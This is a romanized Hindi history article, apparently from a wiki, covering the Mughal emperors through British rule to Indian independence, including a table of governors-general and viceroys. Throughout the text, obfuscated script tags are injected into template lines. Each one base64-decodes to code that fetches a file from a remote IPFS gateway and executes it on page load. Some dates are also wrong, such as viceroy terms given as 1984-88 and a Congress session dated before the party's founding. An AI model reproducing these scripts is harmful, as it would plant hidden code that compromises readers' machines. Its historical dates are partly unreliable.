[[chitr:Tajmahal-03.jpg|thumb|150px|tajamahal]] shihabuddin muhammad shahajahaan ka janm jodhapur ke shasak raja udayasianh ki putri 'jagat gosaee' (jodhabaee) ke garbh se 5 janavari, 1592 ee. ko lahaur mean hua tha. usaka bachapan ka nam khurram tha. khurram jahaangir ka chhota putr tha, jo chhal−bal se apane pita ka uttaradhikari hua tha. vah b da kushagr buddhi, sahasi aur shauqin badashah tha. vah b da kala premi, visheshakar sthapaty kala ka premi tha. usaka vivah 20 varsh ki ayu mean noorajahaan ke bhaee asaf khaan ki putri 'arazumand bano' se san 1611 mean hua tha. vahi bad mean 'mumataz mahal' ke nam se usaki priyatama begam huee. 20 varsh ki ayu mean hi shahajahaan, jahaangir shasan ka ek shaktishali stanbh samajha jata tha. phir us vivah se usaki shakti aur bhi badh gee thi. noorajahaan, asaf khaan aur unaka pita mirza giyasabeg jo jahaangir shasan ke kartta-dhartta the, shahajahaan ke vishvasaniy samarthak ho gaye the. shahajahaan ke shasan−kal mean mugal samrajy ki samriddhi, shan−shauqat aur khyati charam sima par thi. usake darabar mean desh−videsh ke anek pratishthit vyakti ate the. ve shahajahaan ke vaibhav aur that−bat ko dekh kar chakit rah jate the. usake shasan ka adhikaansh samay sukh−shaanti se bita tha; usake rajy mean khushahali rahi thi. usake shasan ki sab se b di den usake dvara nirmit suandar, vishal aur bhavy bhavan haian.

aurangazeb (1658 - 1707)

[[chitr:Shahjahan.jpg|thumb|150px|aurangazeb]]

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

muhiuddin muhammad aurangazeb ka janm 4 navambar, 1618 ee. mean ujjain ke ‘dohad’ namak sthan par mumataz ke garbh se hua tha. aurangazeb ke bachapan ka adhikaansh samay noorajahaan ke pas bita tha. 1643 ee. mean aurangazeb ko 10,000 jat evan 4000 savar ka manasab prapt hua. ‘orachha’ ke joojhar sianh ke viruddh aurangazeb ko pratham yuddh ka anubhav prapt hua tha. 18 mee, 1637 ee. ko faras ke rajagharane ki 'dilaras bano begam' ke sath aurangazeb ka nikah hua. 1636 ee. se 1644 ee. evan 1652 ee. se 1657 ee. tak aurangazeb gujarat (1645 ee.), multan (1640 ee.) evan siandh ka bhi garvanar raha. agara par qabza kar jaldabaji mean aurangazeb ne apana rajyabhishak "abul mujaphphar muhiuddin mujaphphar aurangazeb bahadur alamagir" ki upadhi se 31 julaee, 1658 ee. ko dilli mean karavaya. ‘khajuva’ evan ‘devaraee’ ke yuddh mean saphal hone ke bad 15 mee, 1659 ee. ko aurangazeb ne dilli mean pravesh kiya, jahaan shahajahaan ke shanadar mahal mean joon, 1659 ee. ko aurangazeb ka doosari bar rajyabhishek hua.

bahadur shah zafar (1837- 1858)

[[chitr:Bahadur-Shah-II.jpg|thumb|100px|bahadur shah zafar]]

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahadur shah zafar mugal samrajy ke aantim badashah the. inaka shasanakal 1837-58 tak tha. bahadur shah zafar ek kavi, sangitakar v khushanavis the aur rajanitik neta ke bajay sauandaryanuragi vyakti adhik the. bahadur shah zafar ka janm 24 aktoobar san 1775 ee. ko dilli mean hua tha. bahadur shah akabar shah dvitiy aur lalabaee ke doosare putr the. apane shasanakal ke adhikaansh samay unake pas vastavik satta nahian rahi aur vah aangrezoan par ashrit rahe.

REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

adhunik kal

maratha

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[chitr:Chatrapati Shivaji-2.jpg|thumb|left|100px|shivaji]] [[chitr:Ahilyabai-Holkar-Statue-Mathura-2.jpg|thumb|150px|ahilyabaee holkar pratima, mathura]] rajapootoan aur mugaloan ke yog se usane apana samrajy kandahar se asam ki sima tak tatha himalay ki talahati se lekar dakshin mean ahamadanagar tak vistrit kar diya. usake putr jahaangir jahaan pautr shahajahaan ki rajyakal mean mugal samrajy ka vistar jari raha. shahajahaan ne tajamahal ka nirman karaya, parantu kandahar usake hath se nikal gaya. akabar ke prapautr aurangazeb ke rajyakal mean mugal samrajy ka vistar apane charam shikhar par pahuanch gaya aur kuchh kal ke lie sara bharat usake aantargat ho gaya. parantu aurangazeb ne jan-boojhakar akabar ki dharmik sahishnuta ki niti tyag di aur hinduoan ko apane viruddh kar liya. usane hindustan ka shasan sirf musalamanoan ke hit mean chalane ki koshish ki aur hinduoan ko zabardasti musalaman banane ka asaphal prayas kiya. isase rajapootana, buandelakhand tatha panjab ke hindoo usake viruddh uth kh de hue. maharashtr mean shivaji ne 1707 ee. mean aurangazeb ki mrityu se poorv hi ek svatantr hindoo rajy sthapit kar diya. aurangazeb antim shaktishali mugal badashah tha. usake uttaradhikari atyant nirbal aur ayogy the, unake vazir vishvasaghati the. faras ke nadirashah ne mugal badashahat par sabase saanghatik prahar kiya. usane 1739 ee. mean bharat par chadhaee ki aur dilli par qabza kar liya aur use nirdayata se poori tarah loota. usake hamale se mugal samrajy poori tarah jarjar ho gaya aur isake bad shighrata se usaka vighatan ho gaya. avadh, akhandit bangal tatha dakshin ke musalaman soobedaroan ne apane ko svatantr kar liya. rajapoot raja bhi arddh-svatantr ho gaye. peshava bajirav pratham ke netritv mean marathoan ne mugal samrajy ke khandaharoan par hindoo pad padashah ki sthapana ka prayas kiya.

REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

aangrez

[[chitr:Vasco-da-gama.jpg|thumb|150px|vasko d gama]] firangi log samudri margoan se bharat ki zamin par pair jama chuke the. akabar se lekar aurangazeb tak mugal badashahoan ne bharat ke is naye marg ka mahattv nahian samajha. inamean se koee in navaangatukoan ki rajanitik mahattvakaankshaoan ka anuman nahian laga saka aur unake jangi be de ka muqabala karane ke lie ek shaktishali bharatiy jangi be da taiyar karane ki avashyakata ko anubhav nahian kar saka. is tarah bharatiyoan ki or se kisi pratirodh ka samana kiye bagair sabase pahale purtagali bharat pahuanche. usake bad dach, aangrez, phraansisi aye. solahavian shatabdi mean in phirangiyoan mean apas mean l daiyaan hoti rahi, jo adhikaansh samudr mean huee. dach aur aangrejoan ne milakar sabase pahale purtagaliyoan ki samudrik shakti ko samapt kiya. isake bad dach logoan ko pata chala ki unake lie bharat ki apeksha masale vale dvipoan se vyapar karana adhik labhadayi hai. is tarah bharat mean sirf aangrez aur phraansisi logoan ke bich pratidvandvita huee.

REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

eest iandiya kampani

[[chitr:East-India-Company-Seal.jpg|thumb|eest indiya kampani muhar]]

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

atharahavian shatabdi ke shuroo mean aangrejoan ki eest iandiya kampani ne bambee (mumbee), madras (chennee) tatha kalakatta (kolakata) par qabza kar liya. udhar phraansisiyoan ki eest iandiya kampani ne mahe, paandicheri tatha chandranagar par qabza kar liya. unhean apani senaoan mean bharatiy sipahiyoan ko bharati karane ki bhi ijazat mil gayi. ve in bharatiy sipahiyoan ka upayog n keval apani apasi l daiyoan mean karate the balki is desh ke rajaoan ke viruddh bhi karate the. in rajaoan ki apasi pratidvandvita aur kamazori ne inaki rajanitik mahattvakaanksha ko jagrat kar diya aur unhoanne kuchh deshi rajaoan ke viruddh doosare deshi rajaoan se sandhiyaan kar lian. 1744-49 ee. mean mugal badashah ki prabhusatta ki poorn upeksha karake unhoanne apas mean karnatak ki doosari l daee chhe di. ek sal ke bad karnatak ki doosari l daee shuroo huee. jisamean phraansisi gavarnar doople ne pahali l daee se sabaq lete hue n keval karnatak ke prashasan par, balki nizam ke rajy par bhi fraans ka rajanitik niyatrann sthapit karane ki koshish ki. parantu aangrejoan ne usaki mahattvakaanksha poori nahian hone di. aangrejoan ko bangal mean bhari saphalata mili thi. badashah aurangazeb ki mrityu ke keval pachas varsh bad 1757 ee. mean rabart klaiv ke netritv mean aangrejoan ne navab sirajuddaula ke viruddh vishvasaghatapoorn rajadrohatmak sh dayantr rachakar plasi ki l daee jit li aur bangal ko ek prakar se apani mutthi mean kar liya. unhoanne bangal ki gaddi par ek kathaputali navab mir zafar ko bitha diya. isake bad ek ke bad, tezi se kee ghatanaean ghatian.

REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panipat yuddh

[[chitr:Ahmad-Shah-Abdali.jpg|thumb|150px|ahamadashah abdali]]

mukhy lekh : panipat yuddh

ahamad shah abdali ne 1748 se 1760 ee. ke bich bharat par chadhaiyaan kian aur 1761 ee. mean panipat ki tisari l daee jit kar mugal samrajy ka fatiha padh diya. usane dilli par dakhal karake use loota. panipat ki tisari l daee mean sabase adhik kshati marathoan ko uthani p di. kuchh samay ke lie unaki badh ruk gayi aur is prakar ve mugal badashahoan ki jagah le lene ka mauqa kho baithe. yah l daee vastav mean mugal samrajy ke patan ki soochak hai. isane bharat mean mugal samrajy ke sthan par british samrajy ki sthapana mean madad ki. abdali ko panipat mean jo fatah mili, usase n to vah svayan koee labh utha saka aur n usaka sath dene vale musalaman saradar. is l daee se vastavik fayada aangrezi eest iandiya kampani ne uthaya. isake bad kampani ko ek ke bad doosari saphalataean milati gayian.

regyuletiang ekt

mukhy lekh : regyuletiang ekt

bangal ke sadhanoan se balashali hokar aangrejoan ne 1760 ee. mean vandivash ki l daee mean phraansisiyoan ko hara diya aur 1762 ee. mean unase paandecheri le liya. is prakar unhoanne bharat mean phraansisiyoan ki rajanitik shakti samapt kar di. 1764 ee. mean aangrajoan ne baksar ki l daee mean badashah bahadur shah aur avadh ke navab ki sammilit sena ko hara diya aur 1765 ee. mean badashah se bangal, bihar tatha u disa ki divani prapt kar li. isake phalasvaroop eest iandiya kampani ko pahali bar bangal, u disa tatha bihar ke prashasan ka qanooni adhikar mil gaya. kuchh itihasakar ise bharat mean british rajy ka prarambh manate haian. 1773 ee. mean british parliyameant ne ek regyuletiang ekt pas karake bharat mean british prashasan ko vyavasthit roop dene ka prayas kiya. is ekt ke aantargat bharat mean kampani kshetroan ka prashasan gavarnar-janaral ke adhin kar diya gaya. usaki sahayata ke lie char sadasyoan ki k aauuansil gathit ki gayi. ekt mean bangal ke gavarnar ko gavarnar-janaral ka pad pradan kiya gaya aur kalakatta mean ek suprim kort ki bhi sthapana ki gayi. varen hestiangs, jo us samay bangal ka gavarnar tha, 1773 ee. mean pahala gavarnar-janaral banaya gaya.

1773 ee. se 1947 ee. tak ka kal, jab bharat mean british shasan samapt hua aur bharat svadhin hua, do bhagoan mean baanta ja sakata hai. pahala, kampani ka shasanakal, jo 1858 ee. tak chala aur doosara, 1858 se 1947 ee. tak ka kal, jab bharat ka shasan sidhe briten dvara hone laga.

**aangrez gavarnar janaral aur vayasaray**
janaral aur vayasaray	kary / karyakal

aangrez gavarnar janaral
l aaurd viliyam baiantik	1833-35 ee.
sar charls maitakaph (sthanaanpann)	1835-36 ee.
akalaind	1836-42 ee.
l aaurd elanabaro	1842-44 ee.
viliyam vilabar phors bard	1844 ee.
l aaurd hardiang	1844-48 ee.
l aaurd dalahauzi	1848-56 ee.
l aaurd kainiang	1856-58 ee.
aangrez gavarnar janaral aur vayasaray
l aaurd kainiang	1858-62 ee.
l aaurd elgin pratham	1862-63 ee.
sar rarbat nepiyar (sthanapann)	1863 ee.
sar viliyam ti. denisan (sthanapann)	1863 ee.
sar j aaun larens	1864-68 ee.
l aaurd meyo	1869-72 ee.
sar j aaun strechi (sthanapann)	1872 ee.
l aaurd narthabruk	1872-76 ee.
l aaurd litan pratham	1876-80 ee.
markvis aauf ripan	1880-84 ee.
arl aauf dafarin	1984-88 ee.
l aaurd lainsadaun	1988-94 ee.
l aaurd elgin dvitiy	1894-99 ee.
l aaurd karzan	1899-1905 ee.
l aaurd empiray (sthanapann)	1904 ee.
l aaurd karzan	1904-05 ee.
l aaurd minto dvitiy	1905-10 ee.
l aaurd hardiangs	1910-16 ee.
l aaurd chaimsaphord	1916-21 ee.
l aaurd ridiang	1921-25 ee.
l aaurd litan dvitiy (sthanapann)
l aaurd iravin	1926-31 ee.
l aaurd viliangadan	1931-34 ee.
sar j aaurj stenale	1934 ee.
l aaurd linalithago	1934-37 ee.
vairan vrevarn (sthanapann)	1938 ee.
l aaurd linalithago	1938-43 ee.
l aaurd vevel	1943-47 ee.
l aaurd mauntabeten	1947 ee.
aangrez janaral evan vayasarayoan se sambandhit kary
varen hestiangs	revenyoo, faujadari v apili nyayalayoan ki sthapana
l aaurd karnavalis	sthayi bhoomi bandobast
l aaurd velejali	sahayak sandhi pranali
viliyam baiantik	sati pratha ki samapti
charls metakaph	pres par pratibandh ki samapti
l aaurd elanabaro	sindh ka vilay
l aaurd dalahauzi	rel, adhunik dak, tar v pi. dablyoo. di. ki sthapana
l aaurd kainiang	kalakatta, bambee v madras vishvavidyalay ki sthapana
l aaurd litan	dilli darabar, varnakyoolar pres ekt, arms ekt
l aaurd ripan	pratham karakhana adhiniyam, ilbart bil
l aaurd karzan	bangal vibhajan, prachin smarak sanrakshan qanoon, bharatiy vishvavidyalay qanoon
l aaurd minto dvitiy	prithak nirvachan kshetr ki vyavastha
l aaurd hardiang	bharat ki rajadhani kalakatta se dilli sthanaantarit
l aaurd chemsaphord	raulet ekt, jaliyaanvala bag htyakand
l aaurd iravin	gaandhi iravin samajhauta (1931 ee.)
l aaurd viliangadan	kamyoonal avard (1932 ee.)
l aaurd linalithago	prantiy chunav
l aaurd vevel	shimala sammelan, kaibinet mishan, sanvidhan sabha ki sthapana
l aaurd mauntabeten	bharat vibhajan evan bharat ki svatantrata

gavarnar-janaraloan ka samay

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kampani ke shasan kal mean bharat ka prashasan ek ke bad ek baees gavarnar-janaraloan ke hathoan mean raha. is kal ke bharatiy itihas ki sabase ullekhaniy ghatana yah hai ki kampani yuddh tatha kootaniti ke dvara bharat mean apane samrajy ka uttarottar vistar karati rahi. maisoor ke sath char l daiyaan, marathoan ke sath tin, barma (myaanmar) tatha sikhoan ke sath do-do l daiyaan tatha siandh ke amiroan, gorakhoan tatha afaganistan ke sath ek-ek l daee chhe di gayi. [[chitr:Lord-Dalhousie.jpg|thumb|l aaurd dalahauzi|left|100px]] inamean se pratyek l daee mean kampani ko ek ya doosare deshi raja ki madad mili. usane jin faujoan se l daee ki unamean se adhikaansh bharatiy sipahi the aur l daee ka kharch poori tarah bharatiy karadata ko uthana p da. in l daiyoan ke phalasvaroop 1857 ee. tak sare bharat par sidhe kampani ka prabhutv sthapit ho gaya. do-tihaee bharat par deshi rajyoan ka shasan bana raha. parantu unhoanne kampani ka sarvabhaum prabhutv svikar kar liya aur adhinasth tatha ashrit mitr raja ke roop mean apani riyasat ka shasan chalate rahe.

pratham svatantrata sangram

is kal mean sati pratha ka ant kar dene ke saman kuchh samajik sudhar ke bhi kary kiye gaye. raja ramamohan ray ne sati pratha jaisi amanaviy pratha ke viruddh nirantar andolan chalaya. unake poorn aur nirantar samarthan ka hi prabhav tha, jisake karan l aaurd viliyam baiantik 1829 mean sati pratha ko band karane mean samarth ho saka. aangrezi ke madhyam se pashchim shiksha ke prasar ki disha mean qadam uthaye gaye, aangrezi desh ki rajabhasha bana di gayi, sare desh mean saman zabta divani aur zabta faujadari qanoon lagoo kar diya gaya, parantu shasan svechchhachari bana raha aur vah poori tarah aangrezoan ke hathoan mean raha. 1833 ke chartar ekt ke viparit ooanche padoan par bharatiyoan ko niyukt nahian kiya gaya. bhap se chalane vale jahazoan aur relaga diyoan ka prachalan, eesaee mishanariyoan dvara akshepajanak riti se eesaee dharm ka prachar, l aaurd dalahauzi dvara zabti ka siddhaant lagoo karake athava kushasan ke adhar par kuchh purani deshi riyasatoan ki zabti tatha british bharatiy sena ke bharatiy sipahiyoan ki shikayatean; in sab karanoan ne milakar sare bharat mean ek gahare asantosh ki ag dhadhaka di, jo 1857-58 ee. mean kraanti ke roop mean bh dak uthi. [[chitr:Tatya-Tope.jpg|thumb|100px|tatya tope]] antim mugal bahadur shah zafar, jhaansi ki rani lakshmibaee, taantya tope (ramachanndr paandurang), bihar ke baboo kuanvarasianh, maharashtr se nana sahib, is pratham kranti ke prayas ke nayak the kintu prayas viphal ho gaya. adhikaansh deshi rajaoan ne apane ko kraanti se alag rakha. kampani ko balapoorvak kraanti ko kuchal dene mean saphalata mili, parantu kraanti ke bad british parliyameant ne bharat par kampani ka shasan samapt kar diya. bharat ka shasan ab sidhe briten ke dvara kiya jane laga.

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bharatiy rashtriy kaangres ki sthapana

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb|bharatiy rashtriy kaangres ka dhvaj, 1931 is prakar bharat mean british shasan ka doosara kal (1858-1947 ee.) arambh hua. is kal ka shasan ek ke bad ikattis gavarnar-janaraloan ke hathoan mean raha. gavarnar-janaral ko ab vaisaray (british samrat ka pratinidhi) kaha jane laga. l aaurd kainiang pahala vaisaray tatha gavarnar-janaral niyukt hua. is kal ke bharatiy itihas ki sabase pramukh ghatana hai—bharat mean rashtravadi bhavana ka uday aur 1947 ee. mean bharat ki svadhinata ke roop mean aantim vijay. 1857 ee. mean kalakatta (kolakata), madras (chennee) tatha bambee (mumbee) mean vishvavidyalayoan ki sthapana ke bad shiksha ka prasar hone laga tatha 1869 ee. mean svez nahar khulane ke bad ianglaind tatha yoorop se nikat sampark sthapit ho jane se bharat mean naye madhyavarg ka vikas hua. yah madhy varg pashchimi darshan shastr, rajaniti shastr tatha arthashastr ke vicharoan se prabhavit tha aur british shasan mean bharatiyoan ko jo nicha darja mila hua tha, usase rusht tha. [[chitr:Lord-Dufferin.jpg|thumb|left|l aaurd dafarin]] british mean sthapit shanti ke phalasvaroop yah varg sare bharat ko ek desh tatha samast bharatiyoan ko ek qaum manane laga aur briten ki bhaanti sansadiy shasan pranali ki sthapana usaka lakshy ban gaya. vah ek aise sangathan ki avashyakata mahasoos karane laga jo samast bharatiy rashtr ka pratinidhitv kar sake.

isake phalasvaroop 1885 ee. mean bambee mean bharatiy rashtriy kaangres ki sthapana huee jisamean desh ke samast bhagoan se 71 pratinidhiyoan ne bhag liya. kaangres ka doosara adhiveshan 1883 ee. mean kalakatta mean hua, jisamean sare desh se nirvachit 434 pratinidhiyoan ne bhag liya. is adhiveshan mean maang ki gayi ki bharat mean kendriy tatha praantiy vidhanamandaloan ka vistar kiya jaye aur usake adhe sadasy nirvachit bharatiy hoan. kaangres har sal apane adhiveshanoan mean apani maangean doharati rahi. l aaurd dafarin ne kaangres par vyangy karate hue use aise alpasankhyak varg ka pratinidhitv karane vali sanstha bataya jise sirf khurdabin se dekha ja sakata hai. l aaurd lainsadaun ne usake prati poorn upeksha ki niti barati, l aaurd karzan ne usaka khuleam mazak u daya tatha l aaurd minto dvitiy ne 1909 ke iandiyan k aauuansil ekt dvara sthapit vidhanamandaloan mean musalamanoan ko anuchit riti se anupat se adhik pratinidhitv dekar unhean pho dane tatha kaangres ko to dane ki koshish ki, phir bhi kaangres jinda rahi.

prarambhik saphalata

kaangres ko pahali mamooli saphalata 1909 mean mili, jab ianglaind mean bharatamantri ke nirdeshan mean kam karane vali bharat parishad mean do bharatiy sadasyoan ki niyukti pahali bar ki gayi, vaisaray ki ekjikyootiv kauansil mean pahali bar ek bharatiy sadasy ki niyukti ki gayi tatha iandiyan kauansil ekt ke dvara kendriy tatha prantiy vidhanamandaloan ka vistar kar diya gaya tatha unamean nirvachit bharatiy pratinidhiyoan ka anupat pahale se adhik badha diya gaya. in sudharoan ke prastav l aaurd marle ne halaanki bharat mean sansadiy sansthaoan ki sthapana karane ka koee irada hone se inkar kiya, phir bhi ekt mean jo vyavasthaean ki gayian thi, unaka uddeshy usi disha mean age badhane ke siva aur kuchh nahian ho sakata tha. 1911 ee. mean l aaurd karzan ke dvara 1905 ee. mean kiya bangal ka vibhajan radd kar diya gaya aur bharat ne briten ka poora sath diya. bharat ne yuddh ko jitane ke lie briten ki faujoan se, dhan se tatha samagri se madad ki. bharat asha karata tha ki is rajabhakti pradarshan ke badale yuddh se hone vale labhoan mean use bhi hissa milega.

dvaidhashasan pranali

bharat ke lie svashasan ki maang karane mean pahali bar bharatiy musalaman bhi hinduoan ke sath sanyukt ho gaye aur agast 1917 ee. mean british sarakar ne ghoshana ki ki bharat mean britesh shasan ki niti hai ki shasan ki pratyek shakha mean bharatiyoan ko adhikarik sthan diya jay tatha svayatt shasan ka kramikaroop se vikas kiya jay, taki british samrajy ke aantargat bharat mean uttaradayi sarakar ki uttarottar sthapana ho sake. is ghoshana ke anusar 1919 ka gavarnament aph iandiya ekt pas kiya gaya. is ekt ke dvara vidhan mandaloan ka vistar kar diya gaya aur ab unake bahusankhy sadasy bharatiy janata ke nirvachit pratinidhi hone lage. ekt ke dvara kendriy tatha prantiy sarakaroan ke karyoan ka vibhajan kar diya gaya aur prantoan mean dvaidhashasan pranali lagoo karake karyapalika ko aanshik riti se vidhanamandal ke prati uttaradayi bana diya gaya. is ekt ke dvara bharat ne sunishchit riti se pragati ki. bharatiy ke itihas mean pahali bar ek aisi sanstha ki sthapana ki gayi, jisake dvara british bharat ke nirvachit pratinidhi sarakari adhar par ekatr ho sakate the. pahali bar unaka bahumat sthapit kar diya gaya aur ab ve sarakar ke karyoan ki nirbhayatapoorvak alochana kar sakate the.

asahayog aur satyagrah

mukhy lekh : asahayog aandolan

[[chitr:Bhagat-Singh.gif|thumb|200px|100px|saradar bhagatasianh]] in sudharoan se purane kaangresajan santusht ho gaye, parantu nav yuvakoan ka dal, jise mohanadas karamachand gaandhi ke roop mean ek naya neta mil gaya tha, santusht nahian hua. in sudharoan ke aantargat kendriy karyapalika ko kendriy vidhan mandal ke prati uttaradayi nahian banaya gaya tha aur vaisaray ko bahut adhik adhikar pradan kar diye gaye the. atev usane in sudharoan ko asvikrit kar diya. usake man mean jo ashankaean thian, ve galat nahian thi, yah 1919 ke ekt ke bad hi pas kiye gaye raulat ekt jaise damanakari qanoonoan tatha jaliyaanvala bag hatyakaannd jaise damanamoolak karyoan se siddh ho gaya. jaliyaanvala bag hatyakaand ke 21 sal bad 13 march 1940 ko 'r aauyal seantral eshiyan sosayati' ki landan ke 'k aauksatan h aaul' mean baithak mean oodhamasianh ne maikal o dayar par goliyaan chala dian. jisase usaki turant maut ho gee. chandrashekhar azad, rajaguru, sukhadev aur bhagatasianh jaise mahan kraantikariyoan ne british shasan ko aise ghav diye jinhean british shasak bahut dinoan tak nahian bhool pae. kaangres ne 1920 ee. mean apane nagapur adhiveshan mean apana dhyey poorn svarajy ki sthapana ghoshit kar di aur apani maangoan ko manavane ke lie usane ahiansak asahayoang ki niti apanayi. chooanki british sarakar ne usaki maangean svikar nahian ki aur damanakari niti ke dvara vah asahayog aandolan ko daba dene mean saphal ho gayi. isalie kaangres ne disambar 1929 ee. mean lahaur adhiveshan mean apana lakshy poorn svidhinata nishchit kiya aur apani maang ka manavane ke lie usane 1930 mean namak satyagrah aandolan shuroo kar diya.

dvitiy vishvayuddh

sarakar ne pahale ki tarah aandolan ko dabane ke lie daman aur samajhaute ke donoan raste akhtiyar kiye aur 1935 ka gavarnent aph iandiya ekt pas kiya. is ekt ke dvara britash bharat tatha deshi riyasatoan ke lie sammilit roop se ek sanghiy shasan ka prastav kiya, kendr mean ek prakar ke dvaidh shasan ki sthapana ki gayi tatha prantoan ko svashasan pradan kar diya gaya. ekt ka prantoan se sambandhit bhag lagoo kar diya gaya tatha aprail 1937 ee. mean prantiy svashasan ka shriganesh kar diya gaya. parantu ekt ke sangh sarakar se sambandhit bhag ke lagoo hone se pahale hi sitambar 1939 ee. mean dvitiy vishvayuddh shuroo ho gaya jo 1945 ee. tak jari raha. yah vishvavyapi yuddh tha aur briten ko apane sare sadhan usamean jhoank dene p de. bharat ne briten ka sath diya aur bharat ke pas jan aur dhan ki jo vishal shakti thi usase labh uthakar tatha amarika ki sahayata se briten yuddh jit gaya. gaandhi ji ke amit prabhav tatha ahiansa mean unaki dridh nishtha ke karan bharat ne yadyapi british sambandh ko banaye rakha, phir bhi yah spasht ho gaya ki bharat ab british samrajy ki adhinata mean nahian rahana chahata.

sampradayik dange

kuchh british afasaroan ne bharat ko svadhin hone se rokane ke lie aantim durrabh sandhi ki aur musalamanoan ki bharat vibhajan karake pakistan ki sthapana ki maang ka samarthan karana shuroo kar diya. isake phalasvaroop agast 1946 ee. mean sare desh mean bhayanak sampradayik dange shuroo ho gaye, jinhean vaisaray l aaurd vevel apane samast fauji anubhavoan tatha sadhanoan bavajood rokan mean asaphal raha. yah anubhav kiya gaya ki bharat ka prashasan aisi sarakar ke dvara chalana sambhav nahian hai. jisaka niyantran mudhy roop se aangrejoan ke hathoan mean ho. atev sitambar 1946 ee. mean l aaurd vevel ne pandit javahar lal neharoo ke netritv mean bharatiy netaoan ki ek aantarim sarakar gathit ki. british adhikariyoan ki kripapatr hone ke karan muslim lig ke dimag kafi ooanche ho gaye the. usane pahale to ek mahine tak aantarim sarakar se apane ko alag rakha, isake bad vah bhi usamean sammilit ho gayi.

svadhinata aur usake bad

thumb|15 agast 1947 ka akhabar
Newspaper Of 15th August 1947 bharat ka sanvidhan banane ke lie ek bharatiy sanvidhan sabha ka ayojan kiya gaya. 1947 ee. ke shuroo mean l aaurd vevel ke sthan par l aaurd mauantabeten vaisaray niyukt hua. use panjab mean bhayanak sampradayik dangoan ka samana karana p da. jinako bh dakane mean vahaan ke kuchh british afasaroan ka hath tha. vah pradhanamantri etali ke netritv mean briten ki sarakar ko yah samajhane mean saphal ho gaya ki bharat ka bharat aur pakistan ke roop mean vibhajan karake use svadhinata pradan karane se shanti ki sthapana sambhav ho sakegi aur briten bharat mean apane vyaparik hitoan ko surakshit rakh sakega. 3 joon 1947 ko british sarakar ki or se yah ghoshana kar di gayi ki bharat ka; bharat aur pakistan ke roop mean vibhajan karake use svadhinata pradan kar di jayagi. british parliyameant ne 15 agast 1947 ko iandipedans aph iandiya ekt pas kar diya. is tarah bharat uttar pashchimi sima prant, baloochistan, siandh, pashchimi panjab, poorvi bangal tatha pashchim bangal ke muslim bahul bhagoan se rahit ho jane ke bad, sat shatabdiyoan ki videshi paradhinata ke bad svadhinata ke ek naye path par agrasar hua.

gaandhi ji ki hatya

[[chitr:Mahatma-Gandhi-1.jpg|thumb|100px|mahatma gaandhi]]

mukhy lekh : mahatma gaandhi

